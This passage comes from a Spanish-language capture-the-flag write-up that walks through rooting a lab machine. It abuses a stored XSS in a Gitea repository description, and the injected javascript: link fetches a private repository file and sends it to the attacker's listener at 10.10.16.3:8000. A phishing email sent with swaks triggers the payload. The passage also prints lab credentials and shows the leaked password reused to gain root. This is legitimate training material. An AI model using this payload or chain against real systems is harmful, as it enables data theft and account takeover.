. Esta es otra vulnerabilidad XSS
, pero esta vez para Gitea
. Los pasos a seguir son claros:
1. Log in to the application.
2. Create a new repository or modify an existing repository by clicking the Settings button from the `$username/$repo_name/settings` endpoint.
3. In the Description field, input the following payload:
<a href=javascript:alert()>XSS test</a>
4. Save the changes.
5. Upon clicking the repository description, the payload was successfully injected in the Description field. By clicking on the message, an alert box will appear, indicating the execution of the injected script.
Por lo que podemos crear un repositorio y modificar su descripción:
Donde inyectamos el payload XSS
:
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.16.3:8000/?response=' + encodeURIComponent(data))).catch(error => console.error('Error:', error));">App test</a>
Lo que hace este payload es que el usuario afectado por el XSS
visite la url http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php
(que es el repositorio de testeo mencionado en el mail) y envie el contenido de la visita a http://10.10.16.3:8000
(nuestra máquina de atacantes).
También es necesario crear algún archivo (que puede estar vacío) en el repositorio para que la descripción del repositorio se muestre. Para ello creamos un archivo vacío clickeando en New File
:
Creado el archivo, agregamos un simple commit (que en mi caso puse test
y descripción del commit test
).
cronjob
borrando el repositorio. Por lo que puede que necesitemos repetir estos pasos si es que ello sucediera.Ahora necesitamos una manera de activar el payload. Al revisar los puertos abiertos, vimos que el puerto 25
lo estaba. Este puerto es usado por SMTP
para servicios de mail en Linux
.
axel@cat:~$ ss -nltp | grep 25
LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
Por lo que podríamos enviar un mail al puerto 25
de la máquina víctima a través de nuestro peurto 25
. Esto, de nuevo, a través de un Local Port Forwarding
por SSH
. Salimos de la sesión actual de SSH
y nos reconectamos conviertiendo ahora 2 puertos (convertimos el puerto 3000
en nuestro puerto 3000
y puerto 25
en nuestro puerto 25
) corriendo:
❯ sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh -o stricthostkeychecking=no -L 25:127.0.0.1:25 -L 3000:127.0.0.1:3000 axel@10.10.11.53
No olvidar empezar un servidor temporal HTTP
con Python
el cual recibirá el payload de XSS
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
En otra terminal, en nuestra máquina de atacantes, enviamos un mail usando swaks
, adjuntando el repositorio malicioso que contiene el payload XSS
. Mandamos este mail a jrobert
(la persona que se especificaba en nuestra casilla de mails):
❯ swaks --to "jobert@localhost" --from "axel@localhost" --header "Subject: New Test App. Check it" --body "http://localhost:3000/axel/testApp" --server localhost --port 25 --timeout 30s
=== Trying localhost:25...
=== Connected to localhost.
<- 220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Fri, 7 Feb 2025 07:37:29 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
-> EHLO kali.gunzf0x
<- 250-cat.htb Hello localhost [127.0.0.1], pleased to meet you
<SNIP>
-> .
<- 250 2.0.0 5177bT4X059595 Message accepted for delivery
-> QUIT
<- 221 2.0.0 cat.htb closing connection
=== Connection closed with remote host.
Luego de algún tiempo obtenemos algo en nuestra terminal:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [07/Feb/2025 04:37:39] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -
Obtenemos un payload que está claramente url-encodeado. Lo decodeamos en una página como https://www.urldecoder.org/es/ y pasamos el contenido interceptado allí:
Tenemos el contenido del archivo:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
Hay una contraseña: IKw75eR0MR7CMIxhH0
.
Revisamos si esta contraseña es la contraseña del usuario root
:
axel@cat:~$ su root
Password: IKw75eR0MR7CMIxhH0
root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)
Lo es. GG. Podemos extraer la flag de root
en el directorio /root
.
~Happy Hacking.